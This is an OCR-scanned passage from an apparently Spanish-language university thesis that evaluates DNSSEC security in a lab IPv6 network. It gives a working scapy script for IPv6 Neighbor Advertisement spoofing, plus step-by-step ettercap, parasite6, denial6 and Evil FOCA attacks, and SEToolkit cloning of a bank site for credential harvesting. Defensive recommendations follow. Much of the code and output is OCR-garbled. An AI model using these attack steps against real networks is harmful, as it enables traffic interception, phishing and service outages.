;; flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 4, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

; EDNS: version: ©, flags: do; udp: 4096

;; QUESTION SECTION:

;a.com. IN AAAA

;3 AUTHORITY SECTION:

com. 9025 IN SOA a.gtld-servers.net. admin.com. 2018032101 86

400 3600 604800 10800

com. 9025 IN RRSIG SOA 7 1 864000 20180815161715 20180716161715
24782 com. d79g8vko42EErf3qLFqGImOgIeFq83BRnWq/T840FqcATfgNZkqMgeZFb/ 7HvIYgGabIqnLPpgijCtvGe
1LUyZNwqrwjHnYQniHLIYBKY1jsFsOVG4h JJ+W8JPDDbgOQFNvp3FDeDFXkAe4cTM8OTdyZbpPCn86VXRMgZO+/xsp H
Ek=

com. 9025 IN RRSIG NSEC 7 1 10800 20180815161715 20180716161715
24782 com. kd1Sim98HvkUw/DGq8gBDFrHWx5FE5Te0DHuUl4NxYoN7B/ymD3eW4UpI HlsqaionVImNQip/CLjuhGX
REERM DY AMAREDy DWEEMATHGTILACZWS L ETBY g EPTIVZ VI Ah Cozpa TWA R /ANAE7CWL /I 70uaVBhivaTALi8C20r
us=

com. 9025 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY

;; Query time: 1 msec

;3 SERVER: 2001:12:7000::cafe:5#53(2001:12:7000: :cafe:5)
;3 WHEN: Mon Jul 16 18:21:15 EDT 2018

;3 MSG SIZE rcvd: 454

Figura 6.12 Enumeracion de dominio por consultas incorrectas
Link: https://www.internetsociety.org/resources/deploy360/2014/
dnssecnsec-vs-nsec3/

6.2.3 DNS Spoofing

El DNS spoofing consiste en el falseamiento de una relacion nombre domino y
direccién IP, ante una consulta de resolucion de nombre. El cual se realiza a
través de MITM y cache poisoning.

Hombre en el medio
Es un ataque en el que se adquiere la capacidad de leer, insertar y modificar a
voluntad el trafico del objetivo.
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Herramientas: scapy

Descripcion

Se utiliza la herramienta scapy que esta basada en Python, para realizar un
ataque de Hombre en el Medio para redes de datos IPv6, debido a que esta sirve
para la manipulacién de paquetes y es compatible con multiples protocolos. Se
espera cambiar la relacion direccion IP — direccibn MAC, para realizar MITM e
interceptar el trafico entre los objetivos.

Sintaxis: python ipv6_nd_mitm.py

Ejemplo: python ipv6_nd_mitm.py
:~# python ipv6é nd mitm.py

GNU nano 2.9.1 ipv6 nd mitm.py

from scapy.all import *

def mitm(ip vitima®@l, ip vitima®2, mac_atacante):

print '[+] IPv6 Neighbor Advertisement Spoofing'’

os.system('echo 1 > /proc/sys/net/ipv6/conf/all/forwarding"’)

ip0l = IPv6(src = ip vitima@l, dst = ip vitima@2)

nd0l = ICMPv6ND NA(tgt = ip vitima®l, R = 0)

11a01 = ICMPv6NDOptDstLLAddr(1lladdr = mac_atacante)

pkt0l = ipel / ndel / 1lael

ipe2 IPv6(src = ip vitima@2, dst = ip vitima®@l)

ndez2 ICMPV6ND NA(tgt = ip vitima®2, R = 0)

11a02 = ICMPv6NDOptDstLLAddr(lladdr = mac_atacante)

pkt02 = ip@2 / nde2 / 1l1ae2

while True:
send(pktel, iface
send(pkt02, iface
time.sleep(5)

‘etho’)
‘etho')

ipv6 vitima®l "2001:12:7000: :cafe:
ipv6 vitima®2 "2001:12:7000: :cafe:
mac_atacante = "08:00:27:59:1b:51"

mitm(ipv6 vitima®l, ipv6 vitima®2, mac atacante)

Figura 6.13 Cédigo de Hombre en el medio con Python

Resultados:
Al ejecutar el script colocando como victimas a las IPv6 de 2001:12:7000::café:32
y 2001:12:7000::café:35, direcciones y especificando la MAC del atacante. De
modo que la relacion de estos host IP-MAC, la MAC es remplazada por la MAC
del atacante.

~# python ipv6é nd mitm.py
[+] IPv6 Neighbor Advertisement Spoofing

Sent 1 packets.

Sent 1 packets.
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Figura 6.14 Ejecucion de Hombre en el medio con Python

[root@dns]l adminbancodk]# ip -6 neigh
te80::a00:27ff:fe53:1b51 dev enpOs8 lladdr 08:00:27:59:1b:51 router STALE
2001:12:7000: :cafe:35 dev enp0s8 1laddr 08:00:27:59:1b:51 STALE

2001:12:7000: :cafe:37 dev enp@s8 1laddr 08:00:27:59:1b:51 router STALE

Te80::2ccl:2c03:T96e:8208 dev enpBs8 Lladdr 08:00:27:c3:5b:61 STALE
2001:12:7000: :cafe:34 dev enp@s8 FAILED

[admincache@dns ~]$ ip -6 neigh'
TeB0::a00:271f:fe27:db30 dev enp0s8 lladdr 08:00:27:27:db:30 router STALE

Poel:12:7000: :cafe: 32 dev enpﬂsS lladdr ©8:00:27:59:1b:51 STALE
PO01:12:7000: :cafe: dev enp@s8 08:00:27:59:1b:51 router STALE

TeBD::ab0:271f: fe59 1b51 dev enp@ss lladdr 08:00:27:59:1b:51 router STALE
2001:12:7000::cafe:1 dev enp0s8 1laddr 08:00:27:27:db:30 router STALE
Te80::affl:1d3:T0fd:af52 dev enp@s8 1laddr 08:00:27:51:70:6¢c STALE

Figura 6.15 Efecto de NDP envenenamiento

Herramientas: ettercap
Descripcion

Se utiliza la herramienta Ettercap para realizar un ataque de Hombre en el Medio
en redes de datos IPv6, al realizar un envenenamiento NDP, para interceptar la

informacion intercambiada entre los objetivos.
Sintaxis: Herramienta gréfica

ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x [Targets x | ARP poisoning...

ICMP redirect...

Target 1 Target 2
2001:12:7000::cafe:35 Port stealing.. 2001:12:7000::cafe:32
DHCP spoofing...
I NDP poisoning... I
Stop mitm attack(s)
Figure 6.16 Hombre en el medio con ettercap

Resultados:

herramienta,

Después de seleccionado los objetivos y de seleccionar el tipo de NDP en la
se ve el efecto del Hombre en el Medio en las tablas de vecino

cercano.

165



[admincache@dns ~]$ ip -6 neigh
feSG a@@ 2?ff fe2? db30 dev en.osa Iladdr 08:

00 : 27 27:db:30 router STALE
p :59:1b: router REACHABLH
20@1 12 ?000 cafe 37 dev enp@sB lladdr 08 00 27 59 lb 51 STALE

20@1I12 7000 cafe 1 dev enp@sS 1laddr 08:00: 2? 27 db 30 router STALE
feB0::affl:1d3:f0fd:af52 dev enp0s8 1laddr 08:00:27:51:f0:6c STALE

[root@dnsl adminbancodk]# ip -6 neigh

feSG :a00:27ff:fe59:1b51 dev enpls8 lladdr 08: @@ 27:59:1b:51 STALE
27000 : :cafe: ev enpls addr 00: :1b: router

?001 1? ?ﬂﬂﬂ--rafp 37 devy enpBs8 11laddr 08-9@-?? 59:1b:51 STALF

fe80::2ccl:2c03:796e:8208 dev enpfs8 1laddr 08:00:27:c3:5b:61 STALE

2001:12:7000: :cafe:34 dev enpBs8 FAILED

Figura 6.17 Efecto de MITM con Ettercap

Herramientas: parasite6

Descripcion

Parasite6 es una herramienta que redirige todo el trafico de la red local hacia su
equipo a través del envenenamiento NDP, para ejecutar Hombre en el Medio.
Sintaxis: parasite6 [-IRFHD] interface [fake-mac]

Ejemplo: parasite —| ethO
:~# parasite6 -1 ethe

Resultados:

Al utilizar la herramienta parasite6 se empieza e enviar paquetes a cada uno de
los hosts activos de la red, para realizar un envenenamiento NDP en todos los
hosts activos del segmento de red, donde esta el atacante.

:~# parasite6 -1 etho
Remember to enable routing, you will denial service otherwise:
=> echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
Remember to prevent sending out ICMPv6 Redirect packets:
=> ip6tables -I OUTPUT -p icmpvé --icmpv6-type redirect -j DROP
Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) .
Spoofed packet to 2001:12:7000::cafe:35 as 2001:12:7000::cafe:1
Spoofed packet to fe80::a00:27ff:fe59:1b51 as 2001:12:7000::cafe:1
Spoofed packet to fe80::a00:27ff:fe59:1b51 as 2001:12:7000::cafe:l

Figure 6.18 Envenenamiento NDP con parasite

root@CLIENTE:~# ip -6 neigh

feB0::affl:1d3:f0fd:af52 dev eth® 1laddr 08:00:27:51:f0:6c router DELAY
feBl::Z2ccl2c03: 9628208 dev ethl Tladdr G8:00:27:59:1b:51 router REACHAELE
2001:12:7000: :cafe:35 dev ethd 1laddr 08:00:27:59:1b:51 router REACHABLE
feB0: :a00:27Tf: feb9:1b51 dev eth® 1laddr 08:00:27:59:1b:51 router REACHABLE
2001:12:7000: :cafe:32 dev eth® 1laddr 08:00:27:59:1b:51 router REACHABLE
2001:12:7000: :cafe:37 dev eth® 1laddr 08:00:27:59:1b:51 router REACHABLE
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Link: https://tools.kali.org/information-gathering/thc-ipv6

DNS Spoofing

Una vez se ha ejecutado el MITM entre los activos involucrados, se ejecuta la PoC
de DNS Spoof, para lograr la falsificacion de relacién IP — nombre de dominio,
teniendo como objetivo a un cliente o0 a un servidor cache.

Herramientas: ettercap

Descripcion

Ettercap es una suite completa para el ataque de Hombre en el Medio. Cuenta
con olfateo de conexiones en vivo, filtrado de contenido sobre la marcha y muchos
otros trucos interesantes.

Sintaxis: Herramienta grafica

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x | Targets x | Plugins x
Mame Version Info
arp_cop 11 Report suspicious ARF activity
autoadd 12 Automatically add new victims in the target range
chk_poison 11 Check ifthe poisoning had siccess
* dns_spoof 12 Sends spoofed dns replies

Figure 6.19 DNS Spoofing con Ettercap.

Resultados:

Después de haber ejecutado el PoC de MITM, se ejecuta la PoC de DNS Spoof,
como consecuencia propicia que cuando el cliente consulte por el dominio
esperado, sea redirigido a la IP del atacante.
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[admincache@dns ~]$ dig AAAA www.bancodk.com

; <<=>> DiG 9.9.4-RedHat-9.9.4-51.el7 4.2 <<>> AAAA www.bancodk.com
;+ global options: +cmd

;1 Got answer:

;+ ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21685

;3 Tlags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: ©, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

;7 QUESTION SECTION:

;www . bancodk. com. IN AAAA

5+ ANSWER SECTION:
www . bancodk. com. 3600 IN AAAA 2001:12:7000: :cafe:37

o s L
FE A" ST "Ll =S || = =4 =

7+ SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
;3 WHEN: lun sep 10 17:49:53 -05 2018
i3 MSG SIZE revd: 72

Figure 6.20 Resultado de DNS Spoofing

Para que un PoC de DNS Spoof sea exitosa cuando el objetivo es el cliente y no
el servidor cache, se necesita tener clonada la interfaz del dominio del cual se
quiere suplantar, para lo cual se pueden utilizar diferentes herramientas.

Herramientas: SEToolkit

Descripcion

Es una herramienta de Ingenieria social, que permite realizar la clonacion de un
sitio web, el cual se quiera suplantar.

Sintaxis: Herramienta con interfaz gréfica.

Ejemplo:

A continuacién se presentan los pasos que se deben realizar para conseguir la
clonacion de un sitio web. Primero escoger la opcion de ataque 1. Ataque de
Ingenieria social.

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkift
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

> 1 I

Figura 6.21 SEToolkit para clonar sitios.
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Fijar la direcciéon IP de quien esté realizando la PoC
> IP address for the POST back in Harvester/Tabnabbing

8]:2001:12:7000: : CAFE:37 |}
Especifica el dominio el cual se quiere suplantar.
[-]1 SET supports both HTTP and HTTPS

[-]1 Example: http://www.thisisafakesite.com
: > Enter the url to clone:www.bancodk.com

Figura 6.22 Clonacion del sitio

Por ultimo nos dira que todos los archivos seran guardados en /var/www/html.

Una vez ejecutado el ataque de DNS Spoof se debe reiniciar el servicio de
apache en Kali con el comando /etc/init.d/apache?2 restart.

6.2.4 Denegacion de Servicio

Se realiza una PoC de denegacién de servicio, que consiste en inundar de trafico
al objetivo, hasta este no sea capaz prestar el servicio. En este escenario la
inundacion se realiza por medio de paquetes ICMPV6.

Herramientas: denial6

Descripcion

Se utiliza la herramienta denial6 para realizar PoC de denegacion de servicio,
gue consisten en enviar m cantidad de paquetes ICMP al objetivo, hasta que este
no sea capaz de contestar.

Sintaxis: denial6 <interfaces> <ip-target> <number case use>

Ejemplo: denial6 ethO 2001:12:7000::cafe:32

Resultados:

Al utilizar la herramienta denial6 contra el objetivo 2001:12:7000:.cafe:32, se
empieza a inundar al objetivo de mensajes ICMPVv6 , en la imagen de abajo se
muestra la ejecucion de la herramienta que nos dice que por cada punto que
aparezca en la consola se han enviado al objetivo 1000 paquetes. Teniendo como
resultado que un tiempo después el objetivo es incapaz de prestar un servicio,
como en el ejemplo donde el objetivo es el servidor DNS del domino bancodk.com.

169



Inundacion del objetivo (2001:12:7000::cafe:32) de paquetes ICMPV6

tack on 2001:12:7000::cafe:

shown for ever DO packe s Control-C to end...
hop-by-hop rt option plus 179 heac
etwork path t

Figure 6.23 Denegacion de servicio con denial6

Filter: E| Bxpression... Clear Apply Save
No.  Time Source Destination Pratocal Length Info

1 0.000000000 2001:12:7000:: 2001:12:7000: :cafe:32 IeMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
2 0.000248000 2001:12:70 2001:12:7000: :cafe:32 ICMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
3 0.000249000 2001:12:701 2001:12:7000: :cafe:32 IeMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
4 0.002307000 2001:12:7000:: 2001:12:7000: :cafe:32 IeMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
5 0.002308000 2001:12:7000: :cafe:37 2001:12:7000: :cafe:32 ICMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
6 0.002309000 2001:12:7000::cafe:37 2001:12:7000: :cafe:32 ICMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
7 0.002310000 2001:12:70 2001:12:7000: :cafe:32 ICMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
§ 0.002310000 2001:12:70 2001:12:7000::cafe:32 ICMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
90.002311000 2001:12:70 2001:12:7000: :cafe:32 ICMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
10 0.002312000 2001:12:70! 2001:12:7000: :cafe:32 IMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (no response found!)
11 0.002213000 2001:12:70 2001:12:7000: :cafe:32 ICMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop Timit=255 (no response found!)
12 0.002314000 2001:12:70 2001:12:7000: :cafe:32 IeMPv6 1510 Echo (ping) request id=Oxface, seq=47806, hop 1imit=255 (reply in 13)

13 0.002315000 2001:12:70 2001:12:7000: :cafe:37 ICMPVE 70 Echo (ping) reply id=Oxface, seq=47806, hop limit=128 (request in 12)

14 0.002315000 2001:12:70 2001:12:7000: :cafe:37 ICMPV6 70 echo (ping) reply id=Oxface, seq=47806, hop limit=128

15 0.002315000 2001:12:70 2001:12:7000: :cafe:37 ICMPVE 70 Echo (ping) reply id=Oxface, seq=47806, hop limit=128

16 0.002316000 2001:12:70 2001:12:7000: :cafe:37 ICMPV6 70 Echo (ping) reply id=Oxface, seq=47806, hop limit=128

17 0.002316000 2001:12:70 2001:12:7000: :cafe:37 ICMPVE 70 Echo (ping) reply id=0xface, seq=47806, hop limit=128

18 0.002316000 2001:12:70 2001:12:7000: :cafe:37 ICMPV6 70 Echo (ping) reply id=Oxface, seq=47806, hop limit=128

19 0.002316000 2001:12:70 2001:12:7000::cafe:37 ICMPVE 70 echo (ping) reply id=Oxface, seq=47806, hop limit=128

20 0.002317000 2001:12:7000::cafe:32 2001:12:7000: :cafe:37 ICMPVE 70 Echo (ping) reply id=Oxface, seq=47806, hop limit=128

Figura 6.24 Inundacién ICMP por Ataque DoS denial6

Como resultado del ataque de denegacion, no se puede acceder al servicio
ofrecido por el servidor dns objetivo (2001:12:7000::cafe:32), servidor autoritario
del dominio bancodk.com.

root@cliente-VirtualBox:~# dig AAAA www.bancodk.com +dnssec

<>> DiG 9.10.3-P4-Ubuntu <<>> AAAA www.bancodk.com +dnssec

global options: +cmd

Got answer:

->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 16094

flags: qr rd ra; QUERY: 1, ANSWER: ©, AUTHORITY: ©, ADDITIONAL: 1

OPT PSEUDOSECTION:
EDNS: version: @, flags: do; udp: 4000
F QUESTION SECTIO
;www.bancodk.com. IN AARA

Query time: 3926 msec
SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
WHEM: Tue Aug ©7 10:44:02 -05 2018

Figura 6.25 Denegacién de servicio al Cliente
Link: https://tools.kali.org/information-gathering/thc-ipv6

170


https://tools.kali.org/information-gathering/thc-ipv6

Herramientas: Evil FOCA

Descripcion

Herramienta desarrollada por ElevenPath para probar la seguridad en redes de
datos IPv4 / IPv6. Capaz de realizar distintos ataques como entre los cuales esta:
DoS (Denegacion de Servicio) sobre redes IPv4 con ARP Spoofing y DoS
(Denegacién de Servicio) sobre redes IPv6 con SLAAC DoS.

Sintaxis: Herramienta grafica

Ejemplo:

Se utiliza la herramienta de Evil FOCA para realizar DoS IPv6 para lo cual se
selecciona al objetivo por medio de la direccidén IPv6 global, que en la herramienta
se puede asociar con la direccion MAC.

3 Evil FOCA - 0140 =f[-=
@ Configunation I About

MITM IPv§ MITM IPv4 DoS IPvG DoS IPvd DNS Hiacking

=
- T be Dat RLAAC
8 Targets y
= = OO || L wncows vita sna wnsows 7
e [are vuinesabie to this attack. &
- foB 01003255 10 Me jconsumes 100% of CPU creating
Inetwork adagters through SLAAC
[oratocol untd the computer is
. [compately frozen
-
@
a
@ b= St
=)
Adack bpe Atack Active
[Fer
Time Modue Message
1619 Neghbarspodfng Mew nesghbor detected wih 08 22859 a8 physecal address
1613 NesghbarSpacting Mew naighbor detect physical address
1619 NeghborSpocfing Hew neighbor detects 9 as physcal address
1619 NeighborSpacking Mews nesghbor detect 2 a5 physical sddress.
1620 NesghbarSpacfing Maw nesghbor detected wi phycal addess
1521 NeighborSpocting Mew nesghbor detected with 08! prysical addee:

o 0 s
1522 NesghborSpocfing Mew nesghbor detected with F44 B4EDD a8 physcal address

Figura 6.26 Denegacion con EvilFoca

El servidor dns autoritario de dnsl.bancodk.com se ve afectado por ataque de
denegaciéon con Evil FOCA a tal grado que el servidor queda detenido, hasta
determinado punto que no responde como se muestra en la siguiente imagen.

Figura 6.27 Efecto de DoS con EvilFoca
Link:https://backtrackacademy.com/articulo/conociendo-la-herramienta-evil-foca-

1fcf69bb-d62b-47f4-a4c5-4c5b0dbf459¢
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CAPITULO 7

CONCLUSIONES Y RECOMENDACIONES GENERALES DEL PROYECTO

7.1

CONCLUSIONES

Se llevé a cabo un estudio técnico detallado de los servicios de Internet DNS,
DNSSEC y Web para su implementacion en redes IPv6, logrando
implementar toda la jerarquia DNS y la cadena de confianza DNSSEC con
las ultimas versiones de los sistemas operativos Debian, Centos y Windows
server 2012, sobre el escenario real de pruebas controlado, con el fin de
analizar y evaluar la seguridad proporcionada por DNSSEC en estas
plataformas.

Se llevo a cabo un estudio extenso y arduo sobre las Metodologias estandar
de evaluacion de seguridad para determinar las Fases Principales
involucradas en el desarrollo de la evaluacion de la seguridad, tales como la
planeacion, la penetracidn; que requiere de identificacién de vulnerabilidades
para posteriormente proceder con la explotacion de las mismas, la valoracion
de severidad de las vulnerabilidades encontradas y el reporte de auditoria
donde se presenta un informe de los resultados encontrados.

DNSSEC protege contra los ataques de envenenamiento de caché y de
suplantacién de dominio, al proveer de un mecanismo para la autenticacion
del origen e integridad de los datos intercambiados a través del protocolo
DNS, mediante la firma digital de los datos DNS.

La implementacién del escenario de pruebas se llevé a cabo tanto a nivel de
virtualizacion en la plataforma Virtual box, y posteriormente con equipos
reales de la Universidad del Cauca (routers, switchs, pcs), utilizando el
protocolo estandar de enrutamiento BGP para redes IPv6, para permitir la
conectividad de todos los componentes involucrados en el escenario.

Se debe considerar que no fue facil llevar a cabo la implementacion de
DNSSEC en redes IPv6 en los diferentes sistemas operativos, sobre el
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escenario real de pruebas controlado, especialmente en la plataforma
Windows server 2012, debido a la escasa documentacion.

Se debe considerar que al implementar DNSSEC en el sistema operativo
Windows Server 2012, este requiere una mayor capacidad de recursos y de
procesamiento, para poder prestar un buen servicio.

Para analizar y evaluar la seguridad proporcionada por DNSSEC en redes
IPv6, se realizo un estudio detallado de las herramientas para la recoleccion
de informacion y explotacion de las vulnerabilidades relacionadas con la
seguridad proporcionada por DNSSEC, para tal efecto se realizaron
diferentes pruebas de concepto PoC en distintos escenarios con diferentes
requerimientos de seguridad.

Para implementar el escenario real de pruebas controlado y lograr
Internetworking IPv6, se utiliz6 Enrutamiento BGP en Routers fisicos y
Routers Sw.

Para implementar los Routers Sw, los Servidores (Autoritativos, Caché) y
Clientes se utilizaron diferentes Ss. Os. Debian, Centos y Windows Server.

Para analizar y evaluar la seguridad de los Servicios de Internet DNS,
DNSSEC y Web en Redes IPv6, se requiere implementar toda la Jerarquia
DNS y la Cadena de confianza DNSSEC.

DNSSEC NO protege contra ATAQUES de:

1. Denegacién de Servicio (DoS, Denial of Service).
2. Transferencia de zona.
3. MITM (Man in the Midle).

Implementar DNSSEC en Windows Server, es mas complejo, se requiere
mayor capacidad de recursos y procesamiento, para optimizar el servicio.
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7.2

En la prueba de DNS Spoofing, cuando la cadena de confianza esta
firmada y se consulta por un Dominio inexistente:

e En el S. O. Windows, el Servidor Caché se envenend y la
severidad fue Alta.

e En el S. O. Linux, el Servidor Caché NO se envenend y la
severidad fue Media.

Existen pocas herramientas para la Recoleccion de Informacion y Explotacion
de las Vulnerabilidades relacionadas con la seguridad de DNSSEC en Redes
IPv6.

RECOMENDACIONES GENERALES

Un aspecto importante a destacar sobre estas extensiones, es que no deben
considerarse como una solucion integral, ya que en el contexto de los
estandares de DNS, solo se aseguran la autenticacion y la integridad de los
datos. Se recomienda acompafar de otros mecanismos y politicas de
seguridad, con el propdsito de asegurar el flujo de informacion DNS
intercambiado de extremo a extremo, es decir en el caso mas ideal el
resolver validador tiene un ancla de confianza, la cadena de confianza
DNSSEC est4d firmada y es capaz de verificar todas las firmas en la
respuesta, por medio del ancla de confianza raiz o de un dominio firmado
con DNSSEC.

Cuando el proceso de validacién de una respuesta dentro de la red de una
organizacién, depende solo del servidor DNS caché validador, los clientes
de la red son vulnerables a la suplantacion de la identidad de dominio,
debido a que el tiempo de entrega de la respuesta al cliente, se convierte en
una carrera entre el atacante y el servidor caché DNSSEC para responder
primero, por esta razén para evitar que el cliente sea vulnerable se
recomienda que el cliente realice el proceso de validacion DNSSEC, es decir
que cuente con el ancla de confianza de un dominio en particular.
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Para disminuir el tiempo de respuesta de un servidor caché validador es
recomendable que su tabla se esté actualizado de manera regular con los
dominios mas consultados, para evitar que una primera consulta realizada
por el cliente sea suplantada, por el tiempo grande requerido para el proceso
de validacion deje vulnerable al cliente para un atague de DNS Spoofing.

Se recomienda Implementar DNSSEC junto con el RRset NSEC3
preferiblemente antes que DNSSEC NSEC para evitar la fuga de informacién
de consultas incorrectas que producen la enumeracion de dominios.

7.3 TRABAJOS FUTUROS

Debido a que las extensiones DNSSEC, no brindan una solucion integral de
seguridad, ya que solo garantizan AUTENTICACION e INTEGRIDAD de los
DATOS DNS, se plantean los siguientes trabajos futuros, con el propdésito
adicional de garantizar la CONFIDENCIALIDAD al flujo de informacion DNS
intercambiado de extremo a extremo en Redes IPV6:

Analizar y evaluar la seguridad proporcionada por DNSSEC conjuntamente
con la implementacion de otros Mecanismos y Politicas de Seguridad
como el protocolo IPsec para asegurar las comunicaciones sobre el
Protocolo de Internet (IP) cifrando cada paquete IP en un flujo de datos en
Redes IPv6 y la instalacién del software DNSSEC-Trigger en los hosts
clientes para realizar la validacion DNSSEC.

Analizar y evaluar la seguridad proporcionada por DNSSEC junto con la
implementacion del mecanismo de seguridad DANE (Autenticacion
Basada en DNS de Entidades Nombradas, DNS-Based Authentication
of Named Entities) en Redes IPv6, en un escenario de pruebas
controlado, para el establecimiento de comunicaciones criptograficamente
seguras a traves de la vinculacion del certificado digital con el nombre del
dominio a través de DNSSEC.
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